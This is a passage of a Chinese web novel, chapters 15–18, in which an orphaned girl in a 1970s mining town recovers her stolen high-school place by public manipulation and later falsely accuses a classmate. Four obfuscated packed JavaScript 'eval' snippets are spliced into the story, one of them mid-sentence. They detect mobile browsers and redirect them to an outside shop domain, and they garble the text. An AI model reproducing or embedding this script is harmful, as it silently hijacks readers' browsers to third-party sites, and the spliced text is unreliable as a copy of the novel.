见曲灵没有配合着将手伸过来,他便弯下腰去拉曲灵的胳膊,随后,又附上另外一只胳膊,凉爽粗黑的大手,一块攥在曲灵细弱的,带着孝牌的那只手臂上。 曲灵“啊”地叫出来,大喊着“疼!” 有人忙说:“李主任,她小胳膊小腿的,你别给拽坏喽。” 李主任往声音发出的方向看了一眼,是隔壁的邻居,他挤出一个笑容,解释说,“我也是怕这样哭下去对孩子的身体不好,要不,你们女同志过来帮个忙,帮着把她送到我家里去。” 其他人纷纷摇头,有个他听不出来是谁的声音说,“李主任你就在这里帮着小丫头把问题解决了呗,到底是不是你家李小志抢了曲灵上高中的名额?如果是,就赶紧把名额还给人家,要不小心半夜里,曲铁军来家里找你,他可最疼这个姑娘了!” 这话一出,鸦雀无声,众人顿时觉得周围阴风阵阵,开始炎热起来的温度忽然就降了下去。 虽说建国之后一直在破除封建迷信,好多寺庙、道观都被砸了,没人再敢在家里供奉保家仙、菩萨什么的,但是根植于老百姓内心里的神鬼报应一直都在,大家只是不敢明着提,公开讨论罢了。 有个女人的声音打破了这种寂静,她“呸”了一声,不屑喊道,“谁在这儿胡说八道?我们平生不做亏心事,半夜不怕鬼敲门!我梁银花行得正坐得端!” 15. 示弱 众人循着声音看过去,就看见李主任的媳妇梁银花扭着脖子,使劲挺着胸,一副大无畏又理直气壮的样子。 看见众人都看过来,梁银花有些得意地抱起胳膊,朝着曲灵说:“我不知道你个小丫头为啥跑来我家找茬,反正,你的事跟我们家无关,你赶紧走吧,看你年纪小,我不跟你一般见识……” 李主任感觉事情不妙,他这老婆一向没什么脑子,是个成事不足败事有余的货,他刚刚在院子里意识到事情不好,就把老婆留在家里,想着把曲灵弄到家里去,关上门来,隔绝众人,再跟她晓之以情动之以理。 曲灵一个十四五岁,还在上学,又陡然失怙的小姑娘,他一个堂堂政工干部,还摆弄不清吗? 没想到,梁银花不听话,偏偏就跑了出来。 他头皮一麻,赶紧拉了拉自己老婆的胳膊,打断她的话,叱责道:“银花同志,别这么说,她年纪小不懂事,你能跟着一般见识吗?” 梁银花不服气,但在外人面前还是要给自己男人面子,便闭上嘴巴,只是朝着曲灵狠狠瞪了一眼。 曲灵此时抬起头来,眼泪又蓄满了眼眶,娇娇怯怯地说:“阿姨,我不是来找茬的,你别骂我。” 周围围观的妇女们顿时又是一阵的心酸。 “不是我说,梁银花,你这话说的也太难听了,就这么一个小姑娘,敢来你堂堂李主任家找茬?” 有人忍不住为曲灵发声,其他妇女们纷纷附和,谁都是有儿有女的人,要是谁家姑娘可怜兮兮,凄凄惨惨地过来求情,还被人这样挤兑,哪个当妈的受得了? 一时间,对于她的同情高占了上峰,也不再顾忌着李主任,纷纷开口,向着曲灵说话。 曲灵泪眼朦胧,感激地看向众人。 梁银花被自家男人责骂无所谓,但被别的妇女指责,可就不乐意了,眼神不善地瞄向众人,朝着那个指责她的妇女说,“你跟这小丫头一伙儿的?你打哪儿听说我们家小志是抢了她的入学名额?我们家孩子学习好,思想品德好,本来就够格上高中,还用得着抢她的?” 李主任顿觉不好,不能再让梁银花说下去了,这女人被人一激就口不择言,别说着说着,再把真相说出来,有些事情做了,是打死也不能承认的,不然,名声坏了,以后连评职称,评优秀都会受影响。 他连忙清清嗓子,压过了梁银花的声音,同时,粗鲁地将她往后一来,拉得她险些一趔趄,而后瞪眼警告。 梁银花满涨的火气顿时消减了不少,缩了缩脖子,没敢再说话。 李主任立时换上一副和煦笑容面对着众人,说:“不好意思啊,梁银花同志这人一向心直口快,说话不太讲究方式方法,她也没有别的意思。”说到这里,他苦笑一下,说:“大家伙试想一下,大早晨的忽然有个小姑娘在你家里头哭,谁心里头都会有些不舒服,但我媳妇也有错,不应该那么说曲灵。” 他的话还说完,就被一个虚弱的声音打断,“李主任,阿姨,是我的错,我年纪小不懂事儿,我给你们道歉,我不是故意的!” 这个声音正是曲灵,她说着,便想要站起来,可是蹲得太久了,下半身几乎已经失去了知觉,她刚站起来,便往后面倒去。 人群里顿时发出阵阵的惊呼声,无数双手下意识地往前伸出,想要拉住她,可惜太远了,鞭长莫及,幸好,她身后的一个二十多岁的小媳妇伸手,托住了曲灵,其他人怔愣片刻后,反应过来,帮着将曲灵身体扶正了。 曲灵脸上露出痛苦的表情,也不忘跟这些伸出援手的人道谢,而后,挪蹭着,往前走了两步,朝着李主任和梁银花鞠了个躬,抽抽鼻子说:“对不起,我不是故意来讨人嫌的,对不起!” 让一个一身白衣,戴着孝牌的给自己鞠躬,那自己是什么,死人,遗像?李主任心里头立时不快起来,但脸上却不敢表现出来,连忙搀扶起曲灵,说:“你这孩子,我们没有责怪你的意思。” 曲灵楚楚可怜的小脸上立刻露出一丝欣慰的笑容来,又朝着李主任鞠了一躬,说:“谢谢李主任!”她扁扁嘴巴,说:“李主任,你是好人,我求求你,把名额还给我吧,这是我爸爸的遗愿,我不能让他死不瞑目!” “你这……”李主任躲到一边,一时间就不知道该说什么好,这姑娘脑子是不是有问题,怎么不听解释,光说自己想说的呢?他忽然有了种秀才遇到兵,有理说不清的感觉。 旁边有个妇女的声音说道:“李主任,你就还给她吧,拿孤儿的东西,烫手啊!” “就是李主任,不好这么欺负人的。” “曲灵也太可怜了,要是曲铁军还在,可不能让别人这么欺负这孩子。” ……… 天南地北的口音,七嘴八舌,你一句我一句,都已经笃定了李主任一家确实抢了曲灵的名额,是在欺负人,李主任纵然能够舌灿莲花,在这种强弱对比太过明显的情况下,也失去了让人信服的基础。 此时,人群中有传出一个声音,“曲铁军虽然不在了,但也是给矿上做出过贡献的人,不能他一走,就让人欺负他留下的孩子,不成就去找厂保卫处,让张九钢处长给断断官司!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641661|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李主任听得一惊,这事儿要是传到厂保卫处去,就很难收场,自己欺负孤儿的流言很快就会传遍均州铁矿。张九钢跟曲铁军都是军转干部,又是上下级,关系一直都不错,要是张九钢真给曲灵撑腰,自己可真就要吃挂落了。 他帮着儿子抢走曲灵入学名额这事儿,决定得有些仓促。是在得知曲铁军去世之后产生的。 他一直想让李小志读高中,奈何儿子成绩不好,各方面的表现也很一般,按照正常选拔标准,根本就轮不上。取得高中推荐名额的那些同学,即便不是在厂里有头有脸的,也都有父母兄弟作为依仗,他不敢惹。 他只是均州铁矿财务处下属的一个主任,在铁矿算是个不大不小的干部,但在均州市就不行了,也没有能力再帮着儿子多要一个入学名额,便只能认命,准备着让儿子毕业后就去矿上当工人,以后再慢慢想办法转成干部编制。 但曲铁军去世的消息传出来后,他心脏狂跳,一个主意涌上了心头。他去找了子弟学校初中部的校长,两人喝了一顿酒后,李小志的事儿便办成了。 毕竟,一个在职的主任比一个死了的副处长可有用处多了。等到录取通知书发下来,一切尘埃落定,曲灵就是知道了,黄花菜都凉了,那时候便是去找张九钢,顶多也就是被他骂几句,还真能为了个曲灵跟他翻脸不成? 却没想到,这么隐秘的事情竟然提前让曲灵这个当事人知道了,还找到家里来,闹了这一出! 他懊恼、愤恨,脑子高速运转着该怎么解决目前的困境,却看见梁银花又忍不想要说些什么,赶紧不留力气地打了她一巴掌,打得梁银花“哎呦”一声捂住脸颊。 李主任打人的手刚收回来,就看见一位四五十岁,穿着灰不溜秋长袖四兜衬衫,身上打了七八个补丁,短短的头发被卡子牢牢卡在耳朵后面的妇女拨开人群走了过来。 李主任心下一苦,心说,自己怎么这么倒霉,怎么把这位活祖宗给招引来了,这下更麻烦了! 曲灵自然也看到了来人,心中一喜,目光往人群里头逡巡着,正看见李奶奶躲在一个高个子男人身后,脸庞上带着得意的笑,见曲灵看过来,朝着她比了个大拇指,而后手指挥了挥,示意她转过头去,别被人发现了。 曲灵想要朝她笑笑,却发现自己的嘴角僵硬,整张脸都是麻木的,不受控制,根本笑不出来。这种感觉她很熟悉,父亲去世的那两天刚感受过,就是哭多了的后遗症,也是那时候,她才知道,人居然可以流出那么多的眼泪。 她转过头来,将目光落在来人身上。 16. 解决 这人是矿上革委会下属的妇女主任邱卫东,是前些年闹革命的时候上来的,不管这人真实的人品如何,但表面上塑造的是个公平、公正,会为广大劳动群众,尤其是妇女、儿童撑腰做主的一个形象。 今天的事情能不能成功,主要就看邱主任的。 显然,这位邱主任在过来之前,就已经把这边的事情了解了个七七八八。她目光在曲灵、李主任还有梁银花三人身上扫了一眼,而后背过手去,目光严肃地看着李主任,开口说:“李主任,我听说了你儿子李小志顶替了曲灵高中入学资格的事情,我要批评你,这是可耻的,自私的行为!” 饶是李主任了解这位邱主任,也没想到她一来,就这么直白地批评自己。他刚要辩解,邱主任继续说:“主席他老人家说,恋亲不为亲徇私,念旧不为旧谋利,济亲不为亲撑腰。你为了你儿子,违反了身为一个干部的操行操守,李主任,如果你不改正,明天均州铁矿的大门口,我将会亲自贴上你的大字报!” 这是一点辩解的机会都不给,直接就给定性了啊!被贴大字报,接下来是不是就要组织工人们批判他了? 李主任想到这里,浑身一激灵。身旁原本满心愤怒,觉得自己没错的梁银花不知道什么时候低垂着头,绞着手,大气都不敢出。 李主任深吸口气,还想试图解释,或者私下里聊一聊也行啊,可他刚开口,叫了一声“邱主任,你听我……”就被她给打断了。 她一只手背着,一只手挥舞出来,说:“这件事情的前因后果我都了解清楚了,你不用多说。” 李主任急了,可是不能让邱主任贴自己的大字报啊,他心急如焚,忽地就脱口而出,说道:“我儿子已经报名了,毕业就进矿上,绝对不去上高中,这事儿是个误会!” 邱主任审视着李主任,判断他这话的真假。 李主任连忙把手举起来,说:“我向主席他老人家保证,我真没抢曲灵的入学名额。” 邱主任这才相信了他的话,转头看着旁边的曲灵,瞧见她可怜兮兮的样子,严肃的表情稍微软和了些,说:“你爸没了,但你还是均州铁矿的弟子,要是有人欺负你了,去办公室找我!” 曲灵满目感激地看着她,重重地点头,“谢谢,谢谢邱主任帮我做主!” 邱主任抬手,本想拍拍曲灵的脑袋,但曲灵比她还高,只好拍了拍肩膀,而后转向李主任,点点头,说:“既然是场误会,李主任,我向你道歉,我今天鲁莽了,没有搞清楚事情的真相就盲目批评。” 她说着道歉,但语调中却没有一丝丝愧疚的意思,李主任自然知道,这是处理结果让她满意了,她想收尾了,且给了自己一个体面的台阶下。 不管心中有多么恼恨邱主任,李主任还是挂了笑脸,说:“没关系,邱主任这也是替妇女儿童说话,职责所在,哈哈。”他又朝着人群扬声,说:“大家都听见了吧,就是一场误会,现在没事了,都散了,回去做饭吃饭,上班去。” 这话,有信了的,有没信的,不管信还是没信,见事情闹不了更大,便都结伴离开,邱主任也走了,很快,现场就剩下李主任,梁银花还有曲灵三人。 李主任的脸耷拉下来,梁银花也是一脸的怒容,好似随时都要冲过来,把曲灵暴揍一顿。 曲灵面上露出惧怕的样子,但心里头却一点都不害怕。经历了刚才的事情,好不容易将邱主任打发走,他们不敢动手,甚至也不会再口出恶言。 果然,李主任很快扯了扯嘴角,声音柔和地说:“曲灵,进屋说说话。” 曲灵犹豫了下,还是答应了,跟着夫妻俩进了屋子。 李小志正在灶台边上的小板凳上坐着,一看见曲灵,两只眼睛就恶狠狠瞪过来,说:“曲灵,你还敢来我家!” 李主任大声呵斥,“回你的屋去!” 李小志只好讪讪地去了西屋,临走之前还用手指头指向曲灵,好像在说:你等着,我早晚收拾你。 曲灵朝他笑了笑,气得李小志狠狠甩着门帘子。 李主任说:“别跟他一般见识,这小子被他妈惯坏了。”他说着,又指挥梁银花,“快去给曲灵沏杯白糖水去。” 梁银花还没搞懂自家男人为啥还好声好气地对待曲灵,没好气地说:“没热水了!还没顾上烧水,这丫头就跑来闹事了。” 想想自家男人当着众人的面说了李小志不去上高中了,不能一毕业就当干部,这都是眼前这个死丫头闹的,就是一阵儿的心疼,心里头烦躁得不行,恨得牙根痒痒,还想喝白糖水,呸! 李主任不轻不重地瞪了梁银花一眼,又转向曲灵,说:“曲灵啊,当叔的可得批评你了,你这小丫头啊,什么事儿不能好好说呢,闹出这么大阵仗来,还是场误会,以后让你叔我怎么在均州矿上立足啊。” 曲灵低着头,没说话。 李主任没有等来曲灵的道歉,便愈加不敢小瞧她,刚刚在众人面前,她那歉道得多真诚啊! 可见,她就是装的,故意摆出这幅姿态来,争取同情的。真是知人知面不知心啊,瞧着这个小丫头整天带着笑,乐呵呵,傻乎乎的样子,以为真是个单纯不知事的,没想到,心思这么深沉! 要不是被她以往的样子骗到了,自己也不会起了抢名额的心思! 不管心里头怎么恼恨曲灵,但面上态度依旧是温和的,李主任接着说:“看你年纪小,又刚没了爸爸,我就不跟你一般见识了,不过,你可得记住了,以后不能再这么鲁莽了。还有啊,你败坏我名誉的事情,我就不追究了,你确定了你的名额没被小志抢走,也放心了不是?再和人说起的时候,可不能再跟之前那样,说什么名额是被我们抢走的,听见没?” 李主任把她叫进家里单独谈,本来就是想让曲灵闭紧嘴巴的,他要把这件事的影响力降到最低。均州铁矿上上下下这么多人,每天都会发生很多新鲜事儿,只要曲灵这个当事人不再言语,今天的事儿很快就会被人淡忘的。 这回曲灵点头了。她还是一副有些胆怯,有些内疚的样子,抿抿嘴唇才小心翼翼地开口,说:“那,那学校那边………” 李主任只觉得头有些发晕,这是要让自己彻彻底底的把名额还给她啊,想想跟校长承诺的那些,他就是一阵儿的心疼,什么叫偷鸡不成蚀把米,他算是知道了。 “曲灵,你别给脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641662|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要脸,你别忘了,你只是个没了爹的小丫头,小心哪一天被人打死都不知道怎么死的!” 曲灵吓得后退一步,看着比自己矮了小半个头,但壮实许多的梁银花脸上露出的凶光。 不知道为什么,面对着这样的梁银花,她一点都不害怕,经历了刚刚的事情,这对公母俩,在她眼中,就是两只装腔作势的纸老虎。 一瞬间,她决定不装了,昂首挺胸,下巴微微上扬,脸上的怯弱之色荡然无存,靠近梁银花,一字一句地开口,说:“有一句话说得好,光脚的不怕穿鞋的,还有一句话,是舍得一身剐,敢把皇帝拉下马。我爸没了,我妈也走了,家里就只剩下我一个,我没什么可失去的,谁要是敢欺负我,我命都可以不要,就跟那人干到底,看到底谁吃亏!” “你……你……”梁银花被吓了一跳,她还是头一回在一个十四五岁孩子脸上看见这样狠厉的眼神,搭配着曲灵这番话,梁银花只觉得一股子凉意涌上后背,竟然产生了惧怕之感。 李主任也被曲灵这突然的变脸惊住了,一瞬之后才反应过来,心下感叹,这是个狠角色,自己确实是看走眼了! 他的感受也和梁银花差不多,丝毫不怀疑曲灵有玉石俱焚的决心,就如同她所说,她就一个人,无所顾忌,无所牵挂,又正是犯了错可以用年纪小不懂事为借口的年纪,而自己这边可是一大家子人,要工作,要评职称,要生活,要跟同事、邻里交往,她是玻璃,自己是玉瓶,可是碰撞不起。 李主任忙又揉了揉脸,哈哈笑了两声,说:“曲灵啊,你别跟你婶一般见识,她没文化,不懂事。这次的事情就是个误会,你也跟我道歉了,我不怪你,你高中入学名额没变,也没啥损失,咱们两边就这么算了,哈哈,冤家宜解不宜结,以后你还得在家属区生活,低头不见抬头见的,多个朋友咋也比多个敌人好,你说是不是。” 曲灵的态度便也软和下来,脸上的狠厉决绝之色倏然不见,只剩下带着些带着胆怯的友好,说:“是的,李叔叔你说得对,人不犯我我不犯人,要不是被逼得没办法,谁愿意放着好日子不过?我年纪小,不懂事,以后还请李叔叔和婶子多多让着我些。” 李主任:“哈哈,那是自然,以后咱们都好好的。” 曲灵点点头,说:“那校长那里,就麻烦你了。” 李主任:“行,我做事做到底。” 曲灵就露出释然的表情来,深深舒口气,“谢谢李叔叔,那我先走了,以后要是……大概还得来麻烦你。” 李主任脸色又是一僵,这是威胁着,如果不让她满意,还会来家里闹啊,他忙说:“咱们不都说好了和平相处嘛,哈哈,我是说话算数的人。”他说着,转向一边憋得身体快冒烟,却也终于听明白两人在说什么的梁银花,“你赶紧做饭去,让曲灵吃了再走。” 曲灵:“不用了,我这就走了。” 看着曲灵抬步往出走,李主任居然心下一松,他跟了出来,说:“我送送你。” 曲灵没说什么,一直由着李主任将她送到大门外,由着他像个长辈一般,叮嘱她:“误会说开了就好,有用得着李叔的地方你就说,李叔责无旁贷!” 17. 陷害 李奶奶正在门口等着。 曲灵像是轻盈的小鸟一般扑过来,声音清亮,满是喜悦,但顾忌着行人,压低了声音,“奶奶,我们成功了!” 李奶奶满面红光,也是兴奋不已。 两人进了屋子里,曲灵才放开了声音,在屋子里头转了个圈,“奶奶,我太高兴了!” 李奶奶赶紧扶住了她,说:“我也高兴,好久没这么痛快了,看见李主任和他媳妇那个吃瘪又得装好人的样子要多好笑有多好笑。” 曲灵应该是哭得太多了,头一直晕晕的,刚转了个圈,就更晕了,忙去炕沿边上坐下,咯咯笑起来,说:“奶奶,你可真厉害,多亏有你,我才能把入学名额抢回来!” 李奶奶挥挥手,说:“是你自己聪明,发挥得好,出乎我的意料,你这丫头,真是个人才,比我年轻的时候强多了,更放得开,唱念做打说来就来!” 人一旦突破一条线,就没什么做不到的。 曲灵说:“奶奶你有一句话说得太对了,脸皮啊,面子啊,自尊啊,在想要达成的目标面前,根本就不重要。” 李奶奶又朝她比大拇指,“这就对了嘛,那都是屁,自己个儿切切实实拿到好处才要紧!” 两人你一句我一句的,又回味起刚刚的场景来,越说越起劲儿,要不是梁爱勤来叫她上学,两人能说一天。 跟李奶奶在门口分别,梁爱勤一脸的好奇,问:“你跟这位奶奶什么时候关系这么好了?” 曲灵说:“以前我是太傲气又自负,有些道理现在才明白。” 这莫名其妙,答非所问的话搞得梁爱勤更好奇了,看着曲灵肿起来,发红发烫的脸,听着沙哑的声音,还以为她还是因为爸爸的去世而痛哭整晚,但瞧着曲灵亢奋的精神状态,却又觉得不像。 盯着这个从小一起长大的好朋友看了好一会儿,觉得她哪里不一样了,但具体哪里不一样,又说不上来。 曲灵发现了好朋友小心翼翼的样子,笑了笑,说:“我今天早上去了李主任家,应该是能把入学名额要回来。” 梁家在另外一片家属区居住,距离这边有些远,刚刚在李主任家里发生的那一幕,尚未传到那一片去,梁爱勤对此一无所知,听曲灵这么说,先是高兴地拍着巴掌,而后又问:“他们怎么肯把名额让给你,莫不是哄骗你的吧?” “应该不是,我去恳求了李主任,后来邱卫东邱主任也来了,她说李主任要是不把名额还给我,就要贴他的大字报,批判他。” 曲灵避重就轻,没有将自己是从李奶奶那里取了真经,是故意示弱、引人同情,是在算计李主任的事实说给梁爱勤听。倒不是想要瞒她,而是不希望破坏自己在朋友心目中的形象。 曲灵一点都没觉自己现在的所作所为有什么不对,但怕自己的好朋友接受不了。 梁爱勤恍然,点头:“原来是她,那就难怪了。她可是矿上知名的厉害人,李小志他爸肯定害怕她。”她长舒一口气,说:“这下好了,有她给你撑腰,这事儿就稳了!” 曲灵点点头,说:“是啊。” 好朋友的事情解决了,梁爱勤整个人都放松下来,也终于有些明白好朋友的变化在哪儿了,就如同曲灵自己说的,她傲气又自负,是非观念强得很,又倔强认死理。要是以前,根本不可能去恳求李主任,向他低头的,在她的认知了,做错了的是李主任,没有跟做坏事的人低三下四的道理。 曲灵,好似是从父亲给她构建的漂亮房间里走了出来,开始承受外面的风吹雨打了。 梁爱勤给她建议:“你提上些东西,去邱主任家坐坐,一是感谢她帮了你,二是维持好关系,以后也能继续保着你!” 曲灵:“嗯,我今天晚些时候就去。”李奶奶也是这样建议她的,“你说,我带些什么东西好呢?” 曲灵没什么生活经验,家里头的人情往来的事情,她从来不操心,梁爱勤是家中长女,几乎顶个大人用了,对于这些人情世故的东西,她比曲灵懂得多。 她想了想,说:“礼不能太重,更不能太轻,我看,就送两包点心两瓶罐头,把东西放到袋子里,等天黑了再去。去了之后,说些好听的,让她知道你是个知好歹的。” 曲灵认真地听着,边听边点头,将这些话都记在心里。以往,梁爱勤没和她说过这样的话,因为她不关心这些,如今,却很爱听这些人情世故上的东西。 进了教室,就感受到一个满是恶意的目光向自己射来,曲灵看过去,正是李小志,她笑了下,朝着他的方向走去。 曲灵的个子比班上绝大多数男生都高,所以被安排到了后排坐,李小志的座位靠前,本可以绕过他,从另外一边走的,曲灵却没有。 经过他时,李小志恶狠狠地小声警告,“你等着瞧,我不会放过你的!” 曲灵“啊”地一声,猛然捂住小腿蹲在地上。 前排座位上的女同学赶紧转头站起,“曲灵,你怎么了?” 其他同学也纷纷看过来。 李小志先是疑惑不解,而后幸灾乐祸地翘起了嘴角。 曲灵抬起头,满脸痛苦,抽抽鼻子仰头控诉,“李小志,没想到你是这么卑鄙的人,竟然下黑手,踢我!” 李小志猛地从座位上站起来,使劲瞪起不大的眼睛,用手指头指向自己,不可置信,“你说我踢你,你胡说八道!” 曲灵在同学们的搀扶下站了起来,颤声说:“敢做不敢当,李小志你不是个男的!” 周围的同学们立刻投来谴责的目光,尤其是女同学们,更是同仇敌忾地怒视李小志。 李小志今天早上,透过自家围墙,观察到了曲灵的种种行为,见她把自家父母逼成那个样子,还让自己失去了上高中的机会,心里头便暗暗发誓,一定不让她好过,要在余下这不到一个月的时间里,整得她自动放弃上高中的名额, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641663|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到,自己还没有开始出招,曲灵倒是先诬赖上了自己。 他连忙解释:“我真没踢她,她装的!” 这时候的曲灵已经将裤腿撩来,上面有一块非常明显的青色痕迹。这是昨天她推自行车去买粮食的时候被脚蹬子不小心磕碰到的,当时没觉得疼,今天早上才发现。 梁爱勤倒抽一口凉气,尖声说:“我的妈呀,都成这样了,李小志你还说没踢?睁着眼睛说瞎话,你还要不要脸!得下了多大的力气才青成这样啊,这是把曲灵当成阶级敌人了啊!” 其他女同学纷纷露出愤慨之色,有女同学质问:“李小志,曲灵跟你什么仇,什么恨,你今天必须得说个123来,要不然,我们就告班主任老师去!” “就是,偷偷袭击女同学,我看应该抓他当典型!” …… “不是我,我真没踢她!”李小志面红耳赤,声音湮灭在女同学们愤慨的声音之中,深刻体会到了百口莫辩的滋味,更令人挠头的是,有几位女同学都是一副大义凛然,坚决要为女同学出头的模样,让人憋屈又愤怒,这真是茶壶里煮饺子,有苦说不出! 他胡乱抓挠着自己的头发,恨不能拿把刀劈开自己的胸膛,让大家伙看看自己到底有没有踢曲灵! 曲灵适时开口,“算了,既然李小志同学不承认,那就不承认吧,是我自己没注意,走路的时候不小心撞的。” 李小志一下子就激动起来,手指着曲灵,眼神瞄向同学们,声音颤抖着说:“都听见了吧,都听见了吧,她自己承认了,是冤枉我的!” 大家看他的眼神更是不善,甚至带着些讽刺。这明显就是李小志不承认,事情僵持在这里,曲灵为了平息这个事情,才说的反话。 李小志居然不以为耻,反以为荣! 李小志也不傻,看见众人的表情,就知道大家根本就不相信,他这辈子,从来没被人这么冤枉过,心里头像是被火炭灼烧着,烧得他没着没落的,看着曲灵漂亮的脸庞,就想冲过去揍她一顿! 他这么想的,也这么去了,可惜,还没冲出座位,就被同学拦住了。 曲灵吓得连忙往后退,抱住了身边女同学的胳膊。女同学也是满脸怒容,上前一步,说:“李小志同学,你恼羞成怒,还要打人不成?这可不是66年了,打人是要犯法的!犯了错误,不肯承认,还要继续伤害受害者,你还有没有一点共青团员的样子?” 曲灵颤着声音开口,说:“李小志,我今天早上不是故意的,我是听说你把我上高中的名额抢走了,才去了你家里的,我不是去闹事的,就是想求求你们,把名额还给我……” 这话一出,课堂上一片哗然,大家面面相觑了一下,有位女同学追问曲灵,“你说李小志把你的高中名额抢走了?” 曲灵回答说:“李小志的爸爸说,是我误会了,上高中的名额还是我的。李小志准备报名,毕业了就去矿上上班。” 18. 不装了 李小志被怒气冲昏了头的脑子这才清醒了些,想起了出门之前父亲的叮嘱,忙说:“都是误会,同学们,误会,我已经报名了,要去矿上上班的,上什么高中啊。” 他又赶紧转向曲灵,恨不能用眼神从她身上戳出几个洞来,表情像是吞了个粪球来,却不得不挤出丝笑容来,有些生硬地说:“曲灵,对不起,是我不对,不应该磕你的,我真诚向你道歉。” 这个诬赖,这个闷亏,他是吃定了,见识了曲灵做派的李小志意识到,如果不道歉,还继续掰扯对错的话,吃亏的只能是自己。 曲灵便也大度地说,“那我接受你的道歉,只是以后别这样的,你踢我的那下,真挺疼的。” 说着,她感谢地望着同学们,说:“谢谢各位同学为我仗义执言,大家知道我家庭遭受了巨大变故,我成了孤儿,没想到,大家对我的照顾一如既往,这才是革命路上的好同志!我曲灵感激不尽,祝大家以后都能走上理想的工作岗位,继续为祖国的建设事业发挥自己的力量!” 这番话一出,大家都有些感动,不由自主地鼓起掌来,先时稀稀拉拉,之后连成一片。 在掌声之中,李小志望着曲灵,忽然觉得自己根本就不认识她,不管是早上蹲在自己门口,还是刚刚睁着眼睛说瞎话的诬赖,都不是曲灵能做出来的。 他从初一开始和曲灵同班,以前接触不多,曲灵一向都和女同学们玩,是不屑理他这样的男同学的,但曲灵这样漂亮的小姑娘,很难不让人注意。印象中的曲灵是天真的,无忧无虑的,是傲气自负的。 被养成这样,完全是因为有个疼爱她的父亲,她爸爸没了,她就是落配的凤凰,连野鸡都不如。 所以,他才敢抢她的名额。却没想到,曲灵竟然有这么深沉的心机,简直是他平生仅见,就连他见多识广的父亲感叹着真是小瞧了她。 如今这种情况之下,李小志也只能做出和父亲一样的决定,就是认怂,否则,由着事态发展下去,就控制不了了。 在旁边看了全程的梁爱勤也是震惊无比,曲灵何曾是这种委曲求全,大度原谅的性格?一阵心酸后,她选择了附和曲灵的话,并且带头鼓掌,说:“曲灵,你真是太善良了,太大度了,这样的品性,才够得上念高中的资格!要是谁敢替换掉你的名额,咱们全班同学都不能答应,大家说,对不对?” 立时便有人跟着喊:“对,我们都不答应。” 虽然李小志说了自己要去矿上上班,但昨天下午,他可并没有填写报名表,再加上他自己明明白白地吹嘘过顶了曲灵的名额上高中的事儿,便是现在狡辩,也是没用的。 之前没人谴责他,只是因为事不关己,而今目睹了曲灵受委屈的样子,同学们骨子里都是同情弱者的,自然而然站到了曲灵这边,义愤填膺地对待李小志这个抢了别人入学名额,且还欺负人的不道德的人。 又有一位高高瘦瘦的女同学忽地跑上讲台,用手掌敲击着桌子,大声喊道:“我们作为主席他老人家的卫兵,绝对不允许这样不公平、自私自利的事件发生在我们均州铁矿弟子学校!我们要勇敢表达我们的意见,行使我们的权利!我提议,今天的课程不上了,咱们集体到校长办公室请愿去,曲灵同学品学兼优,积极宣传主席思想,是党和主席的忠诚卫士!我们要求必须确保曲灵同学的入学名额!” 她的声音极具有煽动性和号召力,话音刚落,便有人积极响应。有人附和了,其他人也纷纷表示同去,一时间,教室里的声音几乎要冲破屋顶,许多其他班级的同学都跑过来看热闹,听说了前因后果后,也都加入进来。 很快,一行人在那位高瘦女生的带领下,有序地排队,声势浩大地往校长室走去。 很快,空荡荡的教室里只剩下曲灵、李小志两个人。 李小志大张着嘴巴,好一会儿才合上,这才反应过来,想要追上去,去阻止大部队,但跑出去两步却又停下来,他也是个聪明人,知道这会儿自己做什么都是错的,不光不能阻止什么,反而会起反作用。 他停下脚步,转头谴责地怒瞪曲灵。 曲灵也是被这件事情的发展给惊楞住了。 她今天早上所做的一切,看似胜利了,但归根究底,只不过是抢回自己的东西,还费尽心机、示弱、利用别人……她的喜悦、激动过后,就是满满的心酸,还有不甘。 遇见李小志,见他这个始作俑者还敢这么嚣张,便忍不下去了,临时起意陷害他。 却没想到,事态竟然发展到全班同学去集体情愿。 一时之间,她不知道自己该怎么办好了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14641664|156461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“都是你干的好事!”李小志咬牙切齿。 曲灵忽地就笑了,轻轻开口说:“你们才是始作俑者!” 